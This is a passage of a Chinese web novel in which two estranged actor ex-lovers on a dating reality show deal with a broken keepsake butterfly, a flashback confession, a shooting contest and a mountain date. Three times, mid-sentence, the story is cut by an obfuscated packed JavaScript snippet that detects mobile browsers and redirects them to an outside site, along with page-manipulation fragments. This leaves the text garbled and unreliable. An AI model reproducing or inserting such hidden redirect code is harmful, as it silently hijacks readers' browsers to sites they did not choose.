“怕什么，只是想着反正都卖了，干脆卖大点而已。”秦祁稍稍侧了侧头，凑到沈絮耳边，“怎么，难道沈老师担心我再爱上你吗？” “当然，毕竟我这样风华绝代，”沈絮稍微偏头，伸手拍了拍秦祁脸颊，“万一被没有自知之明的前任黏上，那该多麻烦。” 秦祁一时被噎住了。 这种交锋的时候，只要一秒没接上话，就会瞬间落入下风。 沈絮好整以暇地欣赏了几秒秦祁的脸色，终于大发慈悲地先拉开了距离。 免得有人恼羞成怒，狂犬病发作。 “就你这几斤几两，还想装大尾巴狼？”沈絮嗤笑道，“秦祁，没那千年道行，就别一天天地尽瞎撩人。” 秦祁看着他，沉默。 这个人总是这样游刃有余。 沈絮看着秦祁那吃瘪的眼神，一时竟然觉得有点可爱。 就连几日以来心上那淡淡的阴郁都被驱散了不少。 多好的小乐子，别养死了。 沈絮深谙打一巴掌给颗甜枣的招数。 此人眼睛一转，说：“算了，明早十点，还是市中心那套公寓，别迟到。” 秦祁：……？ 秦祁满脸疑惑，不知道这位祖宗怎么突然改了主意，生怕他是灵光一闪打算作个大妖。 沈絮沉吟两秒，随手扯了个幌子。 “去感谢许谦吧，”沈絮玩味道，“他可是拼命提醒我要给你加个鸡腿。” ———— 次日早上九点五十，秦祁的迈巴赫准时到达了沈絮那套公寓所在的高级小区。 本来秦祁还担心进不去，毕竟五年过去了，保安也不见得能记得他的脸。 哪知道连车窗都还没摇下来，摄像头一识别到他的车牌，门岗就开闸放行了。 这次帮忙开车的是助理小路，三年前才跟着秦祁，自然不知道秦祁和沈絮的往事。 看到闸门缓缓上抬，小路整个人都迷幻了。 “哥，沈老师是昨天回来还专门去给你车牌登了个记吗？” 当然不是。 想也知道沈絮还没闲到这个份上。 这个登记是当时他们还在一起的时候，秦祁死缠烂打让沈絮去物业加上的。 沈絮财大气粗又懒得管事，物业费一交就交十年。只要他不主动去物业要求删掉登记，秦祁的车就能一直在小区通畅无阻。 ……谁能想到他真没删！ 这人怎么分手了都不删这个的！ 联系方式都删完了留着这个有什么用，难道自己会半夜开车过来然后撬锁进他公寓吗？？？ 那破公寓还是个指纹锁——等等不会指纹也没删吧？ 秦祁一时呼吸错乱无比，脑子里嗡嗡作响，只能听见自己如擂鼓一般的心跳。 沈絮这是什么意思？ 太多思绪在同一时间涌入了秦祁的大脑，他就像个被毛线球缠住的小动物，努力挣扎了一通却根本无法逃脱。 他甚至不知道自己在这一瞬间是什么心情。 得意吗？看似八风不动的沈絮其实也不是无懈可击。 好笑吗？为沈絮那七拐八拐的心思？ 遗憾吗？为那本可挽回却无端错过的五年？ 还是……开心呢？他们原来真的还有可能。 这种神游的状态一直持续到沈絮拎着箱子从公寓里出来。 ——沈絮拿着的还是上次那个情侣款的箱子。 这一发现让秦祁更加恍惚。 难道，沈絮真的…… “你怎么没把我的车牌从物业那删掉？” 电光火石间，秦祁决定主动出击。 “没删吗？”沈絮皱眉回忆了一会，最终放弃思考，“不记得了，我这几年都没回这边，前几天还怕自己进不来呢。” 秦祁愣了几秒，好像被泼了一盆冰水，瞬间冷静了。 耳边那如擂鼓一般的声音也消失了，唯余一片死寂。 是啊，他明明知道的，沈絮这几年分明百分之八十的时间都在剧组。 就算要回来，他这么多房产，这套公寓不过是其中最不起眼的一个，他们在一起的时候沈絮都不太来这边，更别提分手后了。 所以秦祁刚刚因为一个没有被删去的登记激动那么久，想了那么多杂七杂八的，但其实答案就只是简单的—— 沈絮忘了。 这太丢脸了，秦祁又一次被尴尬杀了个片甲不留。 以至于一个不留神，他把手里沈絮的箱子“啪”一下给摔了。 沈絮：…… 秦祁：…… 两个人就这么对着敞开的后尾箱和被摔开的行李箱默哀。 “原来你这么恨这个箱子。”沈絮的语气毫无起伏。 “……我可以解释。” 悄悄瞥了一眼沈絮后，秦祁很有眼色地蹲下身主动帮沈絮收拾被摔在地上的东西。 睡袍、沐浴露、洗发水、护肤套装…… 跟上次秦祁在节目上看到的一模一样。 看来沈絮把箱子从山间别墅拎回来以后就没再打开过。 所以这次也只是沈絮懒得再收拾一边，就干脆拎着上次的箱子直接出来了。 真是自作多情，秦祁自嘲道。 这么想着，他捡起了地上最后一个东西。 你看，秦祁想，就连这个机械蝴蝶也跟上次一…… 等等。 机械蝴蝶？！ “等……！” 沈絮明显也突然想起了什么，连忙过来想摁住秦祁继续收拾的手。 然而他就看到了秦祁手里的机械蝴蝶。 场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796846|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面再度陷入沉默。 只不过这一次，被尴尬凌迟的人里，加上了沈絮。 “我没想到你还留着它。” 许久后，秦祁先开口。 这只机械蝴蝶虽然精美，但倒也不是多罕见的东西。 更别提上面还有一些因为制作者手艺不精而留下的手工痕迹。 只要沈絮想，他买一车更完美的也就是一句话的事。 这只机械蝴蝶唯一的特殊之处大概就是—— 这是秦祁送给沈絮的第一样东西。 或许，也可以算是他们的定情信物。 ———— 沈絮和秦祁的初见在一个艺术馆里。 那时候，为了拍摄需要，剧组租下了艺术馆三天，闭馆拍摄。 虽说是闭馆了，但架不住秦祁是这艺术馆的少东家。他想在里面待着，又没闹出什么乱子，剧组自然也不好说什么。 于是，那一天，拍摄结束后在艺术馆里闲逛的沈絮和秦祁就这么在一具蝴蝶标本前第一次相遇了。 对上眼的那一瞬间，双方都因彼此的出现而受到了惊吓。 然而几分钟后，两人都对着对方那张脸相谈甚欢。 在一场十分貌美的，不，十分愉快的交谈后，两人交换了联系方式。 不过在几次联系后，沈絮意外地发现秦祁竟然与他很是投缘。 哪怕隔着屏幕，秦祁依然能看穿他隐藏在字里行间的一些情绪。 那是在此之前没有人做到的。 察觉到这一点时，沈絮第一时间感到的却是不安。 那时他的手指在拉黑键上悬停了许久，却最终没有按下去。 或许是秦祁长得太对他胃口了，或许是秦祁对于剧本的理解居然与他格外相似，或许是…… 总之，那一瞬间，秦祁对沈絮的吸引力，盖过了那一点似有似无却如影随形的不安。 于是，他们顺理成章地一起走进了那段暧昧的夏日。 ——暧昧是精心雕琢的连环计，捅破窗户纸却纯属凑巧。 那是很平常的一天，秦祁看到剧组的一个小男生在向沈絮表白。 说实话，这种场面被撞破，在场的无论哪一位都实在尴尬。 可说来奇怪，在那一刻，秦祁泛上心头的，却是一股说不清道不明的……烦闷。 那是秦祁第一次认识到，沈絮两性通吃的魅力。 那场表白最后如何收场，已在记忆中逐渐模糊了。可那股无法诉说的烦闷感，却至今仍记忆犹新。 一颗名为“占有欲”的种子在那一刻起便被悄然种下，在日后，它会成长，会变异，会成为一个……至死也无法被满足的巨兽。 但那时，所有人对这一切都一无所知。 往后几天，在沈絮有意的放任下，两人都没再联系。 那时的沈絮道行还没这么深，他看似稳如老狗，实则难免心焦。 ……不会吧，现在的年轻人都这么经不住打击，几句话就不追了吗？ 沈少爷恨得都快咬牙切齿了。 等到二月十三日，沈絮终于忍不住了。 那天下戏以后已经是傍晚，按理来说艺术馆早就关门了。 但奈何秦祁之前色令智昏，告诉了沈絮一条“秘密通道”。 总之，沈絮顺利进入了那已经锁门了的艺术馆。 他轻车熟路地上楼，走到那个摆着蝴蝶标本的展厅。 ——然后就看到了一整片的蝴蝶布景，和一个惊慌失措的秦祁。 12. 第 12 章 秦祁本来跨坐在人字梯上，手上还拿着一串蝴蝶挂灯，头顶已经有了不少挂好的蝴蝶装饰。 而那个原本被摆在展厅左侧的蝴蝶标本，不知什么时候被挪到了展厅中央。其他无关的展品都被撤走了，整个展厅围绕着标本摆满了蝴蝶形状的布景，仿佛成了一处蝴蝶秘境。 听到脚步声后，他猛地回头，然后直接傻在了原地。 天花板上垂下的挂饰就这么堆在了他的头上、肩上，甚至有几条滚进了他因吃惊而张大的嘴里。 宕机了几秒后，秦祁立刻想要连滚带爬地从梯子上下来。 但是他手上那还没被挂上去的一长串挂灯却在从匆忙之下缠在了一起，让他的手上下徒劳一番，然后成功越缠越紧。 看着秦祁焦头烂额，沈絮忍俊不禁。 原来傻狗也会被毛线球困住。 “你还笑！” 一番激烈斗争后，秦祁终于从梯子上飞下来扑到了沈絮身前。 他火速伸出手，却一时不知道是该捂住这个人的嘴，还是遮住这个人的眼睛。 “你……你怎么来了？”秦祁手忙脚乱两秒，最后放弃思考地把沈絮整张脸都遮住了，“不准看！” 然而，遮住沈絮那双盛满笑意的眼睛，以及那张最会甜言蜜语的嘴后，也并没有让这个人的存在感减少哪怕一星半点。 秦祁能感受到自己手心里那扑闪扑闪的痒意，那是沈絮的睫毛在擦过他的掌心。 而那绵长的热流，是沈絮打在他手上的呼吸。 秦祁咽了咽口水，他的手再次僵住了。 而这次唤醒他的，是一个微妙的触感，和手心传来的一点湿意。 ——沈絮轻轻舔了一下他的手。 “！！！” 秦祁像触电一样猛地把手抽回身前，“你”来“我”去地支支吾吾好一阵，硬是没能说出一句话来。 “我怎么啦？”沈絮笑眯眯，背着手歪身看秦祁，眼睛亮晶晶的，“我长得难看，让你惨不忍睹啦？” “如果我说是，”秦祁委屈巴巴的，“你能现在当没看到这些，转头回去，生一个时长一晚上的小气，然后明天就像什么都没发生过一样来找我吗？” 沈絮：“可以，刚好今晚叶言杀青了，说要请剧组吃饭……” ——叶言就是前几天给沈絮表白的那个小演员。 沈絮的嘴又被捂住。 这次伸舌头也不好使了。 秦祁恶狠狠地和沈絮对视着，说：“不许去。” 沈絮弯起眼：“为什么？” 秦祁欲言又止片刻，终于眼一闭心一横—— “因为我现在要跟你表白！” 说着，秦祁还瞪了沈絮一眼。 “我本来打算明天约你的，你非那么着急，现在好了，全是半成品。” 沈絮莞尔：“你的感情不是半成品就够了。” 秦祁觉得自己的语言系统可能是失灵了。 都怪沈絮，害他把精心准备的告白词全忘了。 磕磕巴巴一阵后，秦祁认命似的叹了口气，去把摆在展厅中间的蝴蝶标本拿了过来。 沈絮顺着秦祁的视线看过去。 然后他惊讶地发现，那个东西，现在已经不能被称为蝴蝶标本了。 秦祁把这个一看就被精心保存了多年的标本，破坏后再次创作，做成了一只机械蝴蝶。 “这原来是一只光明女神闪蝶的标本，”秦祁深呼吸了一下，或许是接下来的话太烂熟于心，这次他的语言系统运转良好，“它是……十年前的我亲手制作的。” “你之前是不是很奇怪，为什么馆里其他的展厅主题都很明确，只有这个展厅里，乱七八糟的什么都有。”秦祁笑了笑，“因为这里面的每一样东西，都是出自我手。这里是属于我的‘时光博物馆’。” 这里的每一样东西都记录了秦祁前十八年人生里的难忘时刻，每一样对于秦祁而言都是不可或缺的一部分。 比如这个标本，纪念的是他八岁那年，第一次到达巴西的雨林，看到了更广阔的世界。 而现在…… “这些零件，其实是我跟剧组要来的。”秦祁隔着相框，轻轻抚摸了一下里面的蝴蝶，“我把我的过去打碎，融入了我们的现在，然后想要用它来向你换取一张共同前往未来的通行证。” “沈絮，或许我能有这个荣幸，被你探究我的过去，一起去往我们的未来吗？” 沈絮的呼吸仿佛停滞了一下，他低下头仔细端详着这个机械蝴蝶。 光明女神闪蝶翅膀的光泽和零件的反光交相辉映，看起来绚丽无比。 好看到了易碎的程度。 但是没关系，沈絮想，我有的是办法让它再好好保存个十年。 ———— 沈絮和秦祁就这么一左一右地僵在了行李箱前。 明明公寓门口这么开阔的一片地方，此时却好像安静得连呼吸声都清晰可闻。 两人的视线都聚焦在了秦祁手里的那只机械蝴蝶上。 其实乍一看它和几年前也没有什么区别。 光明女神闪蝶的翅膀还闪耀着紫色的金属光泽，零件在阳光的照射下也依旧熠熠生辉。 唯一的区别就是—— 它碎了。 秦祁的喉结上下动了动，一时不知道自己应该先感到心虚还是悲伤。 如果刚才他们俩对着行李箱是在默哀的话，现在大概就是在无声地哭丧吧。 秦祁用尽了浑身的力气，才让那条坏死的舌头成功动起来。 “……对不起。”秦祁说。 沈絮移开了目光，不看蝴蝶，也不看秦祁。 他说：“算了，先上车吧。” 不然待会就变成别人来围观他俩在这儿丢人现眼了。 秦祁自无不应。 他动作利落地把地上剩下的几样东西打包起来，跟坏掉的行李箱一起送进了迈巴赫的后尾箱。 上车后，两人中间弥漫着的那股吓人的死寂直接把要开口打招呼的小路吓了回去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796847|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 秦祁绞尽脑汁，才想出了一句听起来还算理智的话。 “你箱子坏了的话，待会把东西放我那？” 沈絮看他一眼：“装得下？” “可以，”秦祁说，“我来收拾。” 沈絮点头，不再说什么。 僵滞的气氛缓缓解冻。 小路见状，扯出点笑想要打圆场：“沈老师，你……” “砰！” 就在他开口的那一刹那，秦祁却猛地伸手一把拉上了隔板。 他和沈絮终于再次独处于一个密闭空间中。 秦祁的眼神乱飘了几下，最终落到沈絮手上。 秦祁一直放在身侧的右手终于拿了出来，手上握着的正是那已经碎掉的机械蝴蝶。 这个人竟然没有物归原处！ “对不起，”秦祁艰难道，“我……把它弄碎了。” 沈絮却只道：“拉个隔板也这么大声，你助理要以为你给他脸色看了。” 又在顾左右而言他。 这个人总是这样，刺别人的时候毫不留情，等别人想扒开他的壳的时候，他又比谁都躲得快。 沈絮其实也有苦难言。 他头一次这么恨自己这双懒手，要早换个箱子，哪会有这么多事？ 这机械蝴蝶确实是上次节目就在箱子里了，但倒也不是他特意带的。 跟秦祁分手以后，跟他有关的所有东西都被沈絮打包一起封存在了老宅，成了他细心呵护却又从不回看的一份过去。 如果不是老宅里硬是找不到第二个行李箱了，沈絮那天也不会拖着这个情侣款箱子去节目。 本来以为这就够尴尬了，结果到了房间一开箱子，那才是真的受到了惊吓。 或许是当时打包的时候为了方便，机械蝴蝶被放在了箱子的夹层里，被各种衣物包裹起来，这样既能把它带走，路上也不会磕到它。 拜沈絮那“我只负责大力，剩下交给奇迹”的收行李方式所赐，那只机械蝴蝶竟然就这么藏在了箱子的夹层里，跟着一起上了节目。 发现这玩意以后，沈絮的第一反应就是把它摁回夹层深处，第二步就是把箱子合起来挪到墙角。 后面不让秦祁碰箱子也是因为这个。 他俩现在这靠利益缝补起来的关系太脆弱了，维持平衡的难度不亚于悬崖走钢丝。 一旦这个东西被发现，那跟跌落万丈深渊也没什么区别了。 还在节目上，闹太大可真就不好收场了。 当初他俩虽然算不上好散，但也算结束的体面。沈絮自然不想几年后反倒闹得丑态百出。 但这哪里能跟秦祁说？ 这么多纷纷扰扰在前，这事一旦说出来，不管用怎样的语气和措辞，他俩都不能再像现在这样维持表面上的得体了。 沈絮看着秦祁那含着愧疚与不解的眼，难得的不太敢跟人对视。 哪里是不想谈，分明是不能谈。 沈絮移开了目光，想，交浅言深，可不是什么好事。 13. 第 13 章 秦祁看着面前这个冥顽不化的人。 沈絮的嘴角上扬到了一个完美的弧度——这个人可能私下里真的对着镜子研究过自己怎么笑是最好看的。 不过现在，这个本该无可挑剔的笑颜却出现了一丝瑕疵。 因为沈絮垂下了眼，把那双会说话的眸子遮住了。 秦祁看着沈絮那扑闪着的睫毛，感觉像在看一只负隅顽抗的蝴蝶。 都说眼睛是心灵的窗户，那对于沈絮这个每次到了这种时候都把窗户手动焊死的人而言，真的有人能叩开他的心扉吗？ 秦祁再次感到了那股熟悉又陌生的无力感。 他本来以为现在的他已经不会产生这种情绪了。 该说不愧是沈絮吗？ 两人僵持片刻，最后是秦祁先认输了。 余光瞥见秦祁的身子靠回椅背的那一刻，沈絮快速眨了几下眼，肩膀却几不可察地放松了些。 沈絮轻轻跌回了后座的角落，头靠着车窗出神。 车厢里的气氛好像缓和了，又好像只是将愈发激烈的波涛掩藏在了平静的海面之下。 许久之后，秦祁开口。 “这个……我带回去吧。” 沈絮没有转头，但也知道他在说什么。 除了那个机械蝴蝶，还能是什么呢？ 沈絮当然没有理由拒绝。 算了，反正做得那么粗糙一个小东西，也不是很…… 啧。 “我回头去试试能不能把它修好，然后如果你还想要的话……”秦祁说到这，突然顿了顿，一时都想不明白自己在胡言乱语些什么。 他自嘲地笑了笑：“……不管能不能修好，我都会把它放到艺术馆里的。” 话音刚落，沈絮就点了头，然后再无反应。 几秒后，沈絮的头又向车窗那转了转，几乎彻底背对秦祁了。 没关系的，比起在暗无天日的行李箱夹层里浑浑噩噩，明亮精致的展厅对于这只蝴蝶来说无疑是更好的去处。 不自觉间，沈絮的手轻轻覆上了心口。 让心头隐隐作痛的情绪是什么？他不想知道。 只是时隔多年，沈絮又一次明白，果然随意对待真心的人最后都会遭到报应。 沈絮看着车窗里自己倒映出来的，那张与生父五分相似的脸，想—— 或许基因的力量，真的不容抵抗。 ———— “哥哥们来啦！” 沈絮和秦祁一下车，就看到冉星洲蹦起来伸手招呼他们。 然而这死小孩本来是把手搭在颜莫肩上，没骨头一样靠着人家，现在一跳起来，他倒是没什么，颜莫险些被他勒得背过气去 ……这小孩还是一如既往的有活力。 【非常好的小甜豆洲，使我心暖暖。】 【哈哈哈哈哈哈哈小洲你在干什么！谋杀亲夫吗？】 【真情侣就是甜，隔壁的工业糖精完全比不了。】 【不好意思，我们情深就是光明正大复婚了呢，你再怎么嘴硬也否认不了。】 前几天刚出了一口恶气，现在冉星洲的心情简直不要太好。颜莫虽然面上不显，但言语间也放松不少，看样子是跨过了心里横着的一道坎。 在情深两人没来之前，两人现在的互动是越发甜蜜，节目效果堪称拉满。 再加上之前秦祁在微博上大秀特秀地支持沈絮维权，观众们对这期节目的期待值简直不要太高。 可惜美中不足的是，廖榕由于工作实在调配不开，他和阮语琦不得不缺席这一期节目的录制。 眼看四人到齐，节目组又掏出了他们宣布消息专用的大喇叭。 “老师们早上好，我们这期的主题是‘双人约会’。但是在各位开始甜甜蜜蜜的二人世界之前，我们得玩一个小游戏，来决定哪组先选择约会的主题。” 说完，导演一挥手，原本拦住嘉宾们视线的一大张布被扯了下来。 然后四人就看见了三四把被整齐摆放在桌面上的……木仓。 【？？？】 【讲个笑话，小游戏。】 冉星洲惊讶地吸了口气，率先窜上去拿起一把木仓翻来覆去地看了几下。 “我靠，”冉星洲朝三人喊，“居然是实弹的，节目组牛逼啊。” 颜莫：…… 【低声些，难道光彩吗！】 【傻孩子你真是一点都不在意你的人设了啊……】 【实弹的蛮危险的，就让他们直接上吗？】 【小洲应该会射击吧，毕竟一眼就认出来是实弹了。】 直接上那当然是不可能的。 等四人都在桌子前站定，节目组安排的教练就出来开始交代姿势和注意事项。 “好了，大家先上手试一试吧。” 冉星洲嘻嘻哈哈地把颜莫往前一推：“菜鸡先来。” “……你很牛吗？” 冉星洲尾巴都要翘起来了：“待会就让你折服在哥哥我的霸气之下。” 【小莫：我的母语是无语。】 秦祁在一旁边看颜莫边带上了隔音耳罩。 颜莫是真新手，虽然姿势在教练的指导下也算标准，但还是处处透露出生疏。 不过好在最后都没有脱靶。 几木仓开完后，冉星洲和颜莫的目光就齐齐移向了一旁准备好的秦祁。 秦祁挑了挑眉，没用教练走过来指导，一把端起了木仓。 他猛地连着扣动好几下扳机，一时间，场地里除了那近乎不间断的枪声外几乎听不见任何声响。 等声音停止后，众人一齐向秦祁的靶子看去，惊讶地发现那几木仓竟然都在九环内。 【？？？】 【你小子居然也深藏不露？】 【秦祁之前好像有说他在国外呆过几年？你们留子真是技多不压身。】 不得不说，射击这种颇具暴力美学的运动，在某种程度上而言确实是发泄情绪的好办法。 秦祁放下木仓时，已经感觉从车上带下来的那股郁气已经散得七七八八了。 此人甚至有点得意洋洋地回头，试图捕捉沈絮对他这场精彩表演的反应。 ——结果他后面根本没人。 秦祁：？ 他一把拧起眉毛，视线在场地里飞速扫射，几秒后终于在一堆工作人员前面找到了沈絮的身影。 这个人居然在悠哉游哉地喝饮料！ 【哈哈哈哈哈哈哈哈哈哈哈。】 【开屏失败我的妈，你好丢脸啊秦祁。】 【不是，怎么就沈絮一个人在划水啊，能不能敬业点？】 或许是三道齐齐射来的目光太过显眼，沈絮顿了一下，捧着手里的饮料走回了桌子前。 “怎么了？” 秦祁的眼神阴沉沉的：“我背后怎么空空如也？” 沈老师你有头绪吗？ “瞎说，”沈絮笑，“你不是还有一条脊椎？” 秦祁：…… 总之，教导环节就这么平和地结束了。 剩下的一个小时，会让嘉宾们自由练习。 冉星洲决定践行自己五分钟之前的诺言，上来对着靶子就是五下，最差的也在八环。 “怎样，帅吧？” 颜莫沉默两秒，木着脸点了点头。 【你舅宠他爸。】 得到认可的冉星洲顿时更兴奋了，扑上去就要亲自对颜莫进行一些教学。 颜莫本来也乐得如此。 结果过不了五分钟，他就后悔了。 冉星洲这死小子手上压根没数！ 此人打着纠正姿势的旗号对颜莫上下其手，摸完手臂又摸腰。 颜莫本来平稳的呼吸都变得颤抖起来。 本来还能打个四五环的颜莫，在冉星洲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796848|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一番指导下……成功脱了靶。 秦祁好整以暇地看了一通笑话后，或许是刚刚射击时的热血还没消退，在某种不可言说的情绪的支配下，他把手臂搭上了沈絮的肩膀。 这只秦姓花孔雀很不经意地问：“沈老师需要我教吗？” 沈絮懒懒地瞥了他一眼，眼尾就好似生了钩子一般，就这么轻飘飘的一眼，竟胜似千言万语。 秦祁还没从这好像有着几千年道行的一眼里回过神来，就见沈絮上前几步，很随意地抬起枪，几乎没有瞄准就扣动了扳机。 连续几声枪响后，沈絮垂下持枪的手，也没去看靶子，只是微微仰头瞧着秦祁，桃花眼里盛着细碎的光。 他就这样开口了，尾音又轻又长。 “好啊。” 秦祁偏过头去，看到靶子上那几个落在十环内的弹痕，再转回头来看看沈絮。 然后耳根就悄悄的红透了。 【我有以下六点要说：……】 【我宣布傻狗一败涂地】 【不是，射击是什么很大众的运动吗，怎么你们都这么熟练？】 节目组估计也没想到这么小众的一个项目，四个人里居然有三个熟手。 虽然冉星洲技术也不差，但有沈絮和秦祁这么一个全员射击熟练度max的组存在，这个比赛的结果简直毫无悬念。 约会主题的选择安排在午餐后，所以午餐时间依然是四人聚餐。 因为情深两人的炫技太过深入人心，此前又完全没透露过他们会射击，所以直到开饭，冉星洲仍然追问个不停。 沈絮谈性不高，打个哈哈就过去了。 秦祁倒是难得的多说了几句。 他说：“很早的时候学的了，那时候心又野又爱玩，一天到晚也没个定数，看到什么都想试一下，杂七杂八地学了不少东西。” “很早是多早？” 秦祁想了想：“……得是十几岁的时候了。那阵劲过去后其实也没怎么练过，刚刚能发挥成那样我也挺震惊的。” 秦祁不太常谈自己过去的私人经历，众人没忍住，接着八卦了好几个问题。 太过私密的秦祁自然不会回答，他主要挑着少年时在国外的那几年讲了讲。 讲他当年怎么蹦极、怎么冲浪。 讲他和朋友翘掉下午的课，连着两天假期去玩了个爽，再压着周一早上的上课铃冲进教室。 还讲他趁寒假去另一个国家看望发小，结果来车站接他的发小压根没开车来，当时已经是深夜，外面根本打不到车，他气得跳脚，问发小怎么想的。 那个发小就说，你不觉得今晚的雪景很美吗？我们走回去吧，正好慢慢欣赏。 他竟然也鬼迷心窍地跟着发疯，结果就是第二天脸肿成了两倍大。 真是一段肆意而潇洒的时光。 沈絮听着听着，竟然也不由自主地沉醉在了故事里。 这是他也不曾了解过的秦祁。 说来好笑，虽然他们之前轰轰烈烈地谈了场恋爱，但沈絮其实对秦祁的过去知之甚少。 哪怕从表白开始，秦祁就告诉沈絮，欢迎他来探究自己的过去。 沈絮倒也不是不好奇，但他认为凡事都讲究一个公平。 他不愿意向秦祁分享自己的过往，自然也没有资格去窥探秦祁的。 而此时，竟然是沈絮认识秦祁这么多年后，为数不多地听他侃侃而谈那些没有自己参与的年岁的时候。 或许是其乐融融地气氛太令人陶醉，沈絮也不由自主地开口。 沈絮问：“所以雪景好看吗？” 秦祁本来流利的讲述顿了顿：“很好看……但不能算我二十多年来看过的最美的那场。” 秦祁停了几秒，似乎是回想起什么，眼中闪过一丝半酸不苦的怀念。 他转头看着沈絮，目光深沉：“我心中最美的雪景，另有他选。” 14. 第 14 章 沈絮闻言眸光微动，像是察觉到了什么。 然而他对着秦祁的目光，只是缓慢地点头，说：“这样。” 秦祁似乎是预料到了沈絮会是这个反应，也佯装无事地笑：“是的。” 【什么废话文学。】 【你们在打什么我们听不懂的哑谜吗？】 秦祁抿了口水后，就接着刚刚断开的话题讲了下去。 只是他的谈性分明不如片刻前高，而沈絮也分明不如当时沉醉。 只不过毕竟大家都很有职业道德，面上看来依旧是甜甜蜜蜜的模样。 但或许，戏演到这个份上，主角也快分不清其中的真假了。 一顿饭就这么收了尾，四人收拾停当，回到场地里开始选择接下来的约会主题。 作为刚刚比赛的胜出者，秦祁率先拽着沈絮来挑选他们爱的约会牌。 “登山蹦极……”秦祁拿起左边那个牌子，转头看沈絮，“这个怎样，阿絮？” 沈絮探头看了一眼：“喜欢就去，没什么不可以的。” “真的吗？”秦祁挑挑眉，笑得不怀好意，“沈老师千万不要逞强啊。” 沈絮满脸都写着你在说什么鬼话。 “我没蹦过极，难道还没吊过威亚吗？” 这有什么好怕的？ “这可不好说，毕竟之前我带你跳伞的时候，不知道是谁……嘶！” 沈絮从容地把手从秦祁腰后收回来，转身就要去拿右边的牌子。 “别啊！”秦祁连忙去拉他，“我错了，沈老师我错了。” 沈絮要笑不笑地撇开秦祁的手，说：“你思虑得这么周全，哪里会错？” 冉星洲煽风点火：“祁哥，絮哥第一次跳伞的时候发生了什么？怎么不接着说了？” “不能再说了，”秦祁揉了揉后腰，“不然沈老师要请我吃他以为我最爱吃的小巴掌了。” 【笑死，得了便宜还卖乖，然后惨遭制裁了吧。】 【某人真是学不乖啊哈哈哈哈哈。】 【不准学乖不准学乖，狗1就要得寸进尺！】 或许是撒娇男人最好命，又或许是沈絮本身就对约会主题没有太多想法，总之，在一套丝滑道歉小连招后，某人还是得到了他一开始想要的登山蹦极。 而另一个“书店寻宝”的主题，就被自动分配给了冉星洲和颜莫。 因为现在的场地离蹦极的山还有些距离，节目组告知秦祁和沈絮，他们需要自己决定前往那边的交通方式。 有沈絮这位少爷在，两人几乎是不用商量就决定了自行驱车前往。 等走到停车的地方，秦祁很自觉地就钻进了驾驶座。 等沈絮拉开副驾门的时候，就看到这人已经带好墨镜，正单手把着方向盘耍帅。 “这位美丽的先生，”秦祁把身体转向副驾，“你愿不愿意跟我来一场说走就走的私奔？” 沈絮面无表情地撑着车门沉默了三秒。 这人到底是怎么在这么短的时间里找到一副墨镜并戴上的？ 现在掉头就走还来得及吗？ 三秒后。 “好好开车，”沈絮啪一声甩上了车门，“你个无良司机。” 【你居然没有转头就走，你好爱他。】 【我服了……以前怎么没发现秦祁这么爱开屏？】 【唯粉已经有点死了，这不是我哥吧……】 好在秦祁虽然近期突然热衷于开屏，但车技还是相当过关的。 在无良司机的优秀驾驶下，情深二人安全抵达了目的地。 两人都不是磨叽的性子，简单收拾后，就开始往山上走。 按照节目组的安排，他们在山顶蹦完极后，还会在酒店里共用晚餐，然后再在山上住一晚。 最好是第二天一起看了日出再下山。 不过计划听起来总是美好的，而现实就要曲折得多。 就比如谁也没想到，他们都还没往山上爬几步呢，就被一个小东西绊住了脚步。 先帝创业未半而路遇妖妃。 沈絮看着跟突然窜出来的三花猫玩得不亦乐乎的秦祁，叹了口气：“你小心点，别被抓了，在这儿都不知道上哪打疫苗。” “没事，我上次打的还没过期呢。”秦祁伸手跟猫击了个掌，“你看它好乖，刚刚都没伸爪子。” 三花咪咪喵喵，一边让秦祁挼毛，一边给沈絮抛媚眼，看起来忙得不行。 沈絮袖手旁观，看秦祁这个什么吃的都没带的渣男空手骗小猫。 【呔！没有猫条也想摸猫猫？】 【可怜的小猫被渣男秦祁玩弄于股掌之间……】 “你兜比脸都干净，它一会就看穿你了。” 秦祁无所谓：“有什么关系，缘分这种东西不要强求，有一分钟也很好。” 三花歪了歪头，好像察觉到了那个长得十分漂亮的男人才是这里的食物链顶端，于是果断抛弃了现在这只两脚兽，转而围着沈絮的腿边转圈边继续咪咪喵喵。 【猫猫好聪明啊，一下就认出来谁才是一家之主了。】 【这是什么一家三口既视感……kdlkdl。】 沈絮笑了一下，倒是没有赶猫走，但插兜的双手也没有要拿出来的意思。 三花转了会，发现自己媚眼抛给瞎子看，又喵喵咪咪地跑回了秦祁那儿。 不过眼神还是时不时地在沈絮身上打转。 话说回来，沈老师虽然看人一向很准，不过在看猫上似乎还是少些道行。 